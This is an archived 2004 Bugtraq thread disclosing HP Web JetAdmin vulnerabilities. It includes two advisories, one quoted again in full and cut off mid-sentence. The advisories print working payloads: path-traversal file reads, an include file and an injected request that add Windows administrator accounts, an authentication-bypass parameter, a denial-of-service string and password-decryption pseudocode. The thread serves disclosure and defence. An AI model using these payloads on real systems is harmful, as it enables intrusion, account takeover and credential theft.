Bekijk Volledige Versie : HP Web JetAdmin vulnerabilities.
lo all:
http://sh0dan.org/files/hpjadmadv.txt
Fear the vi formatting.
Product: HP Web JetAdmin Version 7.5.2546 (Others that use this codebase
assumed vulnerable) Note: Only tested on the Windows Platform.
Vulnerability: Denial of Service, Upload Any file to the filesystem to a
known location, Write to any file on the file system, Read any file from
the filesystem
Severity: Med/High Risk
Status: Vendor Notified and an update will be released in Spring 2004.
Workarounds can be found at the bottom of this advisory.
Description:
If an Administrator has not set a password in the HP Web JetAdmin product
all of these actions can be taken by anyone who can access the HTTP server.
HP uses a modified version of the Apache web server. Only a very few amount
of modules are included with the Apache web server. There fore, this
this vulnerability is not a critical risk. This service does run with
SYSTEM level privileges.
The only type of scripting we can do is HTS scripting, which is what
this product is built on. A number of issues were found to exist in
the scripting itself and some of the files that get included with the product.
Vulnerabilities:
1. Remote file upload (Any file with any extension):
Using the /plugins/hpjwja/script/devices_update_printer_fw_upload.hts HTS
script, any file may be uploaded to:
https://victim:8443/plugins/hpjwja/firmware/printer/<filename> directory.
Luckily these directories do not have execute permissions but, this script,
used in conjunction with other vulnerable files allow us to use the
directory (and files contained within) as an 'include' directory.
2. File reading vulnerability as well as HTS script injection.
https://victim:8443/plugins/hpjdwm/script/test/setinfo.hts?setinclude=../../../../../../../boot.ini
No checks are done to verify if the user is allowed to access files outside
of the web root. An 'authenticated' user who was not the admin account on the Jet Admin
service could use this setinfo.hts script to read the local.users
file and gain the encrypted passwords of all users which have a password
set for the Jet Admin application.
Example:
https://victim:8443/plugins/hpjdwm/script/test/setinfo.hts?setinclude=../../../../../auth/local.users
The malicious user could then use john the ripper or another password
cracker to crack the htpasswd file.
Using the setinfo.hts script and uploading a custom "hts" include file such as:
https://victim:8443/plugins/hpjdwm/script/test/setinfo.hts?setinclude=../../../hpjwja/firmware/printer/test.inc
An attacker can cause the setinfo script to execute the included hts code.
This includes writing to ANY file on the host running the Jet Admin service.
An example include file test.inc file containing the WriteToFile syntax:
[=test net user heh h0h0h0 /add
net localgroup Administrators heh /add
=]
[=__installdir C:\Documents and Settings\Administrator\Start
Menu\Programs\Startup=]
[[httpd:WriteToFile([$__installdir$]/[#test.bat#],[$test$])]]
Since this service runs with SYSTEM we can write files anywhere. Now we can
create files in the Administrators startup folder. Like say creating a
batch script to add another administrator user. If IIS is installed this can
be used to gain a interactive shell (/scripts or /msadc, or just write asp
scripts).
Another issue identified is a Denial of Service due to a bad call to
stricmp.
If in our include file we use this following line:
[=dir C:\test=]
[[httpd:RemoveCacheFiles($dir$)]]
The hpwebjetd crashes due to an invalid read, I believe this is due to a
bad call to the stricmp not expecting a second $ at the end of the dir
variable.
I did not investigate whether I could use this hts function to completely
destroy the file system of the target machine but I can only guess it will.
Oddly enough this DoS vulnerability can be exploited with out being set in
an include file. Using a tool to modify HTTP variables I was able to cause
the hpwebjetd.exe service to fail by removing a obj=<validcall> with my
[[httpd:RemoveCacheFiles($dir$)]] variable instead.
For instance:
/plugins/hpjfpmui/script/wja_update_product.hts:
(Changed the value of obj to our DoS function)
<FORM onsubmit="return VerifyUpload(this)" action=wja_update_product.hts
method=post encType=multipart/form-data>
<INPUT type=hidden value=[[httpd:RemoveCacheFiles($dir$)]] name=obj> <INPUT
type=hidden value=true name=__save>
<INPUT type=hidden value=0 name=packageCount> <INPUT type=hidden
value=blah.fpm name=goodFilename>
Although I did not test, it may be possible to directly inject the hts scripting
directly into the application using a tool like WebSleuth.
Workarounds:
First and foremost, HP has included a number of different methods of securing
this web application. Anyone who uses this product should first set passwords
for the service during setup. Secondly they provide mechanisms to lock down
access certain IP Addresses, this feature should also be used, how often do
you need to manage this from a machine other than your desktop? Once these
are put in place, the only real security issues are if 'printer users' are
configured and accessed by people other than Administrators. HP recommends
also deleting the "test" directory.
This folder is located (on a default install):
C:\Program Files\HP Web Jetadmin\doc\plugins\hpjdwm\script\<test>
--
Visit Things From Another World for the best
comics, movies, toys, collectibles and more.
http://www.tfaw.com/?qt=wmf
On Wednesday 24 March 2004 13:59, wirepair wrote:
> Product: HP Web JetAdmin Version 7.5.2546
> Although I did not test, it may be possible to directly inject the hts
> scripting directly into the application using a tool like WebSleuth.
The following HTTP request would result in a user account being
created once the server is restarted. Wirepair and I found this
vulnerability independently, I tried to contact the vendor in mid-January
and received no response, apparently he was more persistent :)
https://<target>:8443/plugins/framework/script/tree.xms?obj=httpd:WriteToFile([$__installdir$]conf/portlisten.conf,Listen%208000%0A%0DAccessLog%20"|../../../../../../winnt/system32/cmd.exe%20/c%20net%20user%20P%20P%20/ADD")
-HD
Just a few more for HP Web JetAdmin 6.5 - I'm tired of waiting for HP and
since the current version is way past 6.5, there is no point in hiding it
any more :)
---[SNIP]---
Phenoelit Advisory <wir-haben-auch-mal-was-gefunden #0815 ++-+>
[ Title ]
Multiple vulnerabilities in HP Web JetAdmin
[ Authors ]
FX <fx@phenoelit.de>
Phenoelit Group (http://www.phenoelit.de)
Advisroy http://www.phenoelit.de/stuff/HP_Web_Jetadmin_advisory.txt
[ Affected Products ]
Hewlett Packard (HP)
Web JetAdmin 6.5 on any platform
Partially affected:
Web JetAdmin 7.0 on any platform
Web JetAdmin <=6.2 on any platform
HP Bug ID: SSRT2397
CERT VU ID: VU#606673
[ Vendor communication ]
10/28/02 Initial Notification, security-alert@hp.com
*Note-Initial notification by Phenoelit
includes a CC: to cert@cert.org by default
From there on, communication went back and forth, while the major
version went up and only a subset of the bugs was fixed.
[ Overview ]
HP Web JetAdmin is an enterprise management system for large amounts
of HP printers, print servers and their respective print queues. The
service provides a web interface for administration, by default
listening on port 8000. The web server (HP-Web-Server-3.00.1696) is a
modular service supporting plugins and using .hts and .inc files for
creation of active content.
From the readme_en.txt file:
''HP Web JetAdmin contains support for all HP JetDirect-connected
printers and plotters. This product allows users to manage HP
JetDirect-connected printers within their intranet using a
browser. In addition to this, HP Web JetAdmin has the ability
to discover and manage any non-HP printer that implements the
standard printer MIB (RFC 1759). If a peripheral includes an
embedded web server, HP Web JetAdmin provides a link to the
home page of the peripheral.''
NOTE: (Historic, see initial date!)
Despite the fact that the HP web site still advertises it as
6.5, the Web JetAdmin you can currently download is 7.0. This
one features an Apache core and several improvements, including
SSL support with a vulnerable version of OpenSSL (0.9.6c).
Password decryption and direct calls of functions are still
possible, but some of the exploited functions are no longer
existing.
[ Description ]
Multiple vulnerabilities exist in the product. A short summary is
outlined below:
1 - Source disclosure of HTS and INC files
2 - Real path disclosure of critical files
3 - Critical files accessible through web server
4 - User and Administrator password disclosure and decryption
5 - User and Administrator password replay
6 - Root/Administrator password disclosure
7 - Denial of Service of the server due to input validation failure
8 - Authentication circumvention on all functions
9 - Direct access to methods of the server core and the plugins via
the HTTP Protocol
10 - Input validation failure for strings written to files
11 - Root/Administrator compromise due to all of the above
12 - Hidden games (easter egg) in the application
[ Vulnerability details ]
[ 1 ]
The web server will disclose the contents of the scripts, if a dot (.)
is added to the end of the request URL.
Example:
http://server:8000/plugins/hpjwja/script/devices_list.hts.
[ 2 ]
Any page that is generated by the .HTS scripts will include a HTML
comment line with the location of the file framework.ini, which holds
several critical entries.
Example:
<!-- framework.ini F:\Program Files\HP Web JetAdmin\doc\plugins\framework\framework.ini -->
[ 3 ]
The file framework.ini is located inside the web root directory. Any
unauthenticated user can access it. This file contains the encrypted
(see below) passwords for all users, permissions for the respective
users and other valuable information.
Example:
http://server:8000/plugins/framework/framework.ini
[ 4 ]
HP Web JetAdmin uses it's own encryption. Passwords will be encrypted
on client side before send to the server using a Java applet. The
encryption is easily broken and reversible.
An encrypted username or password is transmitted and stored in the
ASCII representation of hexadecimal numbers. Such a ciphertext looks
like 6a206d14000a7c2bc3cd3358153cffb5. This string has three elements:
- 6a206d14 is the initialization vector for the algorithm
- 000a is the length of the encrypted data (and double the length of
the clear text)
- 7c2bc3cd3358153cffb5 is the actual encrypted data
Encryption and decryption are performed by initializing a random
number generator with the IV supplied in the string and performing an
XOR operation with the encrypted data and the upper 8 bits of the
subsequently calculated random numbers. The following pseudo-code will
be run:
long v = IV;
for(int i=0;i<strlen(code);i++){
v = 31413L * v + 13849L & -1L;
code[i]=code[i]^(char)(v >> 24);
}
As the result, the clear text will be in code[] as two-byte
characters.
[ 5 ]
Because of the static nature of the encryption broken in point 4, an
attacker can use password strings sniffed off the network and use them
in selfmade HTTP requests to the service. This is commonly referred to
as replay attack.
[ 6 ]
When using services the host system provides only to administrative
users (Administrator on Windows, root on UNIX), the web interface will
require the user to enter the account data for this account. The
entered username, password and (for Windows) the domain name are
encrypted with the algorithm discussed in 4. Therefore, an attacker
can sniff the strings off the network and decrypt the account
information.
[ 7 ]
By modifying the "encrypted" string, an attacker can cause the service
to lock up. As discussed in point 4, the second element in the string
represents the length of the encrypted data. By replacing it with
0xFFFF, the decryption function loops through the string until the
index reaches -1, which never happend during tests and resulted in a
completely frozen service.
Example: 01010101FFFF02020202020202020202.
[ 8 ]
Access to the functionality of Web JetAdmin is usually done via HTTP
POST requests. One of the variables always present is "obj". A typical
request contains:
obj=Framework:CheckPassword;Httpd:SetProfile(Profi les_Admin,password,$_pwd,$__framework_ini)
By leaving out the element "Framework:CheckPassword;", HP Web JetAdmin
will no longer validate the supplied password and immediately grant
access to the function specified.
Example:
obj=Httpd:SetProfile(Profiles_Admin,password,$_pwd ,$__framework_ini)
[ 9 ]
The "obj" variable discussed in 8 is actually used to call functions
in the server core or any plugin. The server core and the plugins
export functions to be used via HTTP. Therefore, an attacker can craft
HTTP POST requests to use internal functions. Additionally, use of
variables and grouping of function calls are possible. One can
actually write little programs and submit them to the server for
execution. Most of the functions deal with internal data structures
and files of HP Web JetAdmin.
Example: see 8
[ 10 ]
HP Web JetAdmin uses a file called "cache.ini" outside of the web
root. This file will contain session settings for a specific session.
The session is identified by a variable called __BrowserID submitted
in every HTTP request of the session. The format of cache.ini is:
---SNIP--
[1234]
Variable=Value
NextVariable=NextValue
[5678]
...
---SNIP--
where 1234 and 5678 are the browser ID values. An attacker can
influence the Variable=Value pairs through the call interface
described in 9. By calling
obj=Httpd:VarCacheSet(FX,MemberOfPhenoelit)&__BrowserID=0
the following cache entry is created:
[0]
FX=MemberOfPhenoelit
It is also possible to inject multiple lines at the beginning of the
file by including HTTP encoded linefeed characters in the __BrowserID
variable:
&__BrowserID=%0aTest%20123%0a
will create the following entry:
[
Test 123
]
[ 11 ]
The Httpd core supports an exported function called "ExecuteFile".
This function takes two or more parameters. The first one is the path
where the file is located (leave blank for use of $PATH or %PATH%) and
the second is the executable itself. Combined with the ability to
write arbitrary content to a file in a known location (see 10,
location known due to 2), an attacker can easily start a program of
his choice. Since the service usually runs as root on UNIX or as
SYSTEM on Windows, this gives full remote access to the server.
Example: see Example section below
[ 12 ]
The security issues described above are not the result of a lack of
time in the development department. This is proven by the fact that
HP Web Jetadmin is delivered including two games.
A text based adventure game is available on the URI:
/plugins/hpjwja/script/special.hts?waycool=notyou
The HTS file special2.hts features a hangman game and a list of
developers.
Hint: When playing the text adventure, throw the cat toy around to
keep the bad kitty busy.
[ Example ]
The root/SYSTEM exploit for 6.5 (NOT 7.0) can be found at:
http://www.phenoelit.de/hp/JetRoot_pl.txt
[ Solution ]
None known at this time. HP Web JetAdmin 7.0 fixes some of the
problems - namely removed the ExecuteFile function - but most of the
issues and the games are still there.
[ end of file ]
--
FX <fx@phenoelit.de>
Phenoelit (http://www.phenoelit.de)
672D 64B2 DE42 FCF7 8A5E E43B C0C1 A242 6D63 B564
Samuel Walker
29/04/04, 20:15
In-Reply-To: <20040427094201.GA492@echelon.cluster.phenoelit.de>
Hi there BugTraq,
Your article about the vulnerabilities of HP WebJetAdmin caught my attention as I use HP WebJetAdmin 7.5 to manage about 30 network printers. It is a great tool. However, though I have not investigated all the issues that you reported to be vulnerable to
Hp WebJetAdmin 6.5 and 7.x, I did check on the 'hidden game' thing that your mentioned. There two caveats that I would like to state first though, that may be different from the installation that you are working with.
First, when I installed HP JetAdmin 6.5 and then later upgraded to 7.2 and then to 7.5, choosed to enable on the https version of HP WebJetAdmin on the ssl port, and integrated the securities with my desktop securities.
Second, I only run (enable the service) when I need to as when I periodically check the status of the printers or when I need to configure the settings or securities of a new printer. After, that I turn the service back off and have it set for manual star
ting. I have this to be means of safeguarding my system even with the vulnerabilities that you mentioned.
Again, I have not verified the weaknesses that you mentioned yet, but I did try to located the hidden game ( special.hts) file that you listed. Apparently, because of the way that I have things setup using SSL and intergrated windows login authentication,
my installation does not have this file that your mentioned. I checked my install directory for this application, and I did not find a special.hts file. I found other special_*.hts files but when I view these files in notepad these appear to be scripts f
or converting the older printer objects from previous installation of hp jetadmin to the newer styles and objects in 7.5. No apparent hidden games here. Granted your post refers to 6.5 and 7.0 versions, so maybe before I installed 7.5 these did exist. Com
e to think about it, as I recall, during my upgrade to 7.5, I actually had to remove my older versions completely in order to install the new version 7.5 without any problems. 7.5 was able to retain my original custom setting
s and filters and thus merge these into 7.5, but maybe removing the older version first assisted with getting rid of some of the plugin files that caused some of the weakness.
Have you tried HP Jet Admin 7.5 yet? If so, how does it compare to the list of vulnerabilities that you mentioned?
Also, I know that it is sometimes hard to find what you need through HP Download and support site. At the time that I upgrading to 7.5, it took me forever to find all the add-on updates that I needed. Even the Support Center kept redirecting me to 6.5 and
7.2 version help documentation. Eventually though I found the 7.5 upgrade installer and companion files and was able to update my installation.
Happy Bug Hunting.
SJW
>Received: (qmail 12371 invoked from network); 27 Apr 2004 16:18:29 -0000
>Received: from outgoing2.securityfocus.com (HELO outgoing.securityfocus.com) (205.206.231.26)
> by mail.securityfocus.com with SMTP; 27 Apr 2004 16:18:29 -0000
>Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
> by outgoing.securityfocus.com (Postfix) with QMQP
> id BA4B7143829; Tue, 27 Apr 2004 18:14:23 -0600 (MDT)
>Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
>Precedence: bulk
>List-Id: <bugtraq.list-id.securityfocus.com>
>List-Post: <mailto:bugtraq@securityfocus.com>
>List-Help: <mailto:bugtraq-help@securityfocus.com>
>List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
>List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
>Delivered-To: mailing list bugtraq@securityfocus.com
>Delivered-To: moderator for bugtraq@securityfocus.com
>Received: (qmail 14057 invoked from network); 27 Apr 2004 03:32:24 -0000
>Date: Tue, 27 Apr 2004 11:42:01 +0200
>From: FX <fx@phenoelit.de>
>To: bugtraq@securityfocus.com
>Cc: sflist@digitaloffense.net
>Subject: Re: HP Web JetAdmin vulnerabilities.
>Message-ID: <20040427094201.GA492@echelon.cluster.phenoelit.de>
>Mail-Followup-To: bugtraq@securityfocus.com,
> sflist@digitaloffense.net
>Mime-Version: 1.0
>Content-Type: text/plain; charset=us-ascii
>Content-Disposition: inline
>Organization: Phenoelit (http://www.phenoelit.de/)
>X-Operating-System: Robotron Z9001
>X-Mailer: socket()
>
>Just a few more for HP Web JetAdmin 6.5 - I'm tired of waiting for HP and
>since the current version is way past 6.5, there is no point in hiding it
>any more :)
>
>---[SNIP]---
>
>Phenoelit Advisory <wir-haben-auch-mal-was-gefunden #0815 ++-+>
>
>[ Title ]
> Multiple vulnerabilities in HP Web JetAdmin
>
>[ Authors ]
> FX <fx@phenoelit.de>
>
> Phenoelit Group (http://www.phenoelit.de)
> Advisroy http://www.phenoelit.de/stuff/HP_Web_Jetadmin_advisory.txt
>
>[ Affected Products ]
> Hewlett Packard (HP)
> Web JetAdmin 6.5 on any platform
>
> Partially affected:
> Web JetAdmin 7.0 on any platform
> Web JetAdmin <=6.2 on any platform
>
> HP Bug ID: SSRT2397
> CERT VU ID: VU#606673
>
>[ Vendor communication ]
> 10/28/02 Initial Notification, security-alert@hp.com
> *Note-Initial notification by Phenoelit
> includes a CC: to cert@cert.org by default
>
> From there on, communication went back and forth, while the major
> version went up and only a subset of the bugs was fixed.
>
>[ Overview ]
> HP Web JetAdmin is an enterprise management system for large amounts
> of HP printers, print servers and their respective print queues. The
> service provides a web interface for administration, by default
> listening on port 8000. The web server (HP-Web-Server-3.00.1696) is a
> modular service supporting plugins and using .hts and .inc files for
> creation of active content.
>
> From the readme_en.txt file:
> ''HP Web JetAdmin contains support for all HP JetDirect-connected
> printers and plotters. This product allows users to manage HP
> JetDirect-connected printers within their intranet using a
> browser. In addition to this, HP Web JetAdmin has the ability
> to discover and manage any non-HP printer that implements the
> standard printer MIB (RFC 1759). If a peripheral includes an
> embedded web server, HP Web JetAdmin provides a link to the
> home page of the peripheral.''
>
> NOTE: (Historic, see initial date!)
> Despite the fact that the HP web site still advertises it as
> 6.5, the Web JetAdmin you can currently download is 7.0. This
> one features an Apache core and several improvements, including
> SSL support with a vulnerable version of OpenSSL (0.9.6c).
> Password decryption and direct calls of functions are still
> possible, but some of the exploited functions are no longer
> existing.
>
>[ Description ]
> Multiple vulnerabilities exist in the product. A short summary is
> outlined below:
> 1 - Source disclosure of HTS and INC files
> 2 - Real path disclosure of critical files
> 3 - Critical files accessible through web server
> 4 - User and Administrator password disclosure and decryption
> 5 - User and Administrator password replay
> 6 - Root/Administrator password disclosure
> 7 - Denial of Service of the server due to input validation failure
> 8 - Authentication circumvention on all functions
> 9 - Direct access to methods of the server core and the plugins via
> the HTTP Protocol
> 10 - Input validation failure for strings written to files
> 11 - Root/Administrator compromise due to all of the above
> 12 - Hidden games (easter egg) in the application
>
>[ Vulnerability details ]
> [ 1 ]
> The web server will disclose the contents of the scripts, if a dot (.)
> is added to the end of the request URL.
> Example:
> http://server:8000/plugins/hpjwja/script/devices_list.hts.
>
> [ 2 ]
> Any page that is generated by the .HTS scripts will include a HTML
> comment line with the location of the file framework.ini, which holds
> several critical entries.
> Example:
> <!-- framework.ini F:\Program Files\HP Web JetAdmin\doc\plugins\framework\framework.ini -->
>
> [ 3 ]
> The file framework.ini is located inside the web root directory. Any
> unauthenticated user can access it. This file contains the encrypted
> (see below) passwords for all users, permissions for the respective
> users and other valuable information.
> Example:
> http://server:8000/plugins/framework/framework.ini
>
> [ 4 ]
> HP Web JetAdmin uses it's own encryption. Passwords will be encrypted
> on client side before send to the server using a Java applet. The
> encryption is easily broken and reversible.
> An encrypted username or password is transmitted and stored in the
> ASCII representation of hexadecimal numbers. Such a ciphertext looks
> like 6a206d14000a7c2bc3cd3358153cffb5. This string has three elements:
> - 6a206d14 is the initialization vector for the algorithm
> - 000a is the length of the encrypted data (and double the length of
> the clear text)
> - 7c2bc3cd3358153cffb5 is the actual encrypted data
>
> Encryption and decryption are performed by initializing a random
> number generator with the IV supplied in the string and performing an
> XOR operation with the encrypted data and the upper 8 bits of the
> subsequently calculated random numbers. The following pseudo-code will
> be run:
>
> long v = IV;
> for(int i=0;i<strlen(code);i++){
> v = 31413L * v + 13849L & -1L;
> code[i]=code[i]^(char)(v >> 24);
> }
>
> As the result, the clear text will be in code[] as two-byte
> characters.
>
> [ 5 ]
> Because of the static nature of the encryption broken in point 4, an
> attacker can use password strings sniffed off the network and use them
> in selfmade HTTP requests to the service. This is commonly referred to
> as replay attack.
>
> [ 6 ]
> When using services the host system provides only to administrative
> users (Administrator on Windows, root on UNIX), the web interface will
> require the user to enter the account data for this account. The
> entered username, password and (for Windows) the domain name are
> encrypted with the algorithm discussed in 4. Therefore, an attacker
> can sniff the strings off the network and decrypt the account
> information.
>
> [ 7 ]
> By modifying the "encrypted" string, an attacker can cause the service
> to lock up. As discussed in point 4, the second element in the string
> represents the length of the encrypted data. By replacing it with
> 0xFFFF, the decryption function loops through the string until the
> index reaches -1, which never happend during tests and resulted in a
> completely frozen service.
> Example: 01010101FFFF02020202020202020202.
>
> [ 8 ]
> Access to the functionality of Web JetAdmin is usually done via HTTP
> POST requests. One of the variables always present is "obj". A typical
> request contains:
> obj=Framework:CheckPassword;Httpd:SetProfile(Profi les_Admin,password,$_pwd,$__framework_ini)
> By leaving out the element "Framework:CheckPassword;", HP Web JetAdmin
> will no longer validate the supplied password and immediately grant
> access to the function specified.
> Example:
> obj=Httpd:SetProfile(Profiles_Admin,password,$_pwd ,$__framework_ini)
>
> [ 9 ]
> The "obj" variable discussed in 8 is actually used to call functions
> in the server core or any plugin. The server core and the plugins
> export functions to be used via HTTP. Therefore, an attacker can craft
> HTTP POST requests to use internal functions. Additionally, use of
> variables and grouping of function calls are possible. One can
> actually write little programs and submit them to the server for
> execution. Most of the functions deal with internal data structures
> and files of HP Web JetAdmin.
> Example: see 8
>
> [ 10 ]
> HP Web JetAdmin uses a file called "cache.ini" outside of the web
> root. This file will contain session settings for a specific session.
> The session is identified by a variable called __BrowserID submitted
> in every HTTP request of the session. The format of cache.ini is:
> ---SNIP--
> [1234]
> Variable=Value
> NextVariable=NextValue
>
> [5678]
> ...
> ---SNIP--
> where 1234 and 5678 are the browser ID values. An attacker can
> influence the Variable=Value pairs through the call interface
> described in 9. By calling
> obj=Httpd:VarCacheSet(FX,MemberOfPhenoelit)&__BrowserID=0
> the following cache entry is created:
> [0]
> FX=MemberOfPhenoelit
>
> It is also possible to inject multiple lines at the beginning of the
> file by including HTTP encoded linefeed characters in the __BrowserID
> variable:
> &__BrowserID=%0aTest%20123%0a
> will create the following entry:
> [
> Test 123
> ]
>
> [ 11 ]
> The Httpd core supports an exported function called "ExecuteFile".
> This function takes two or more parameters. The first one is the path
> where the file is located (leave blank for use of $PATH or %PATH%) and
> the second is the executable itself. Combined with the ability to
> write arbitrary content to a file in a known location (see 10,
> location known due to 2), an attacker can easily start a program o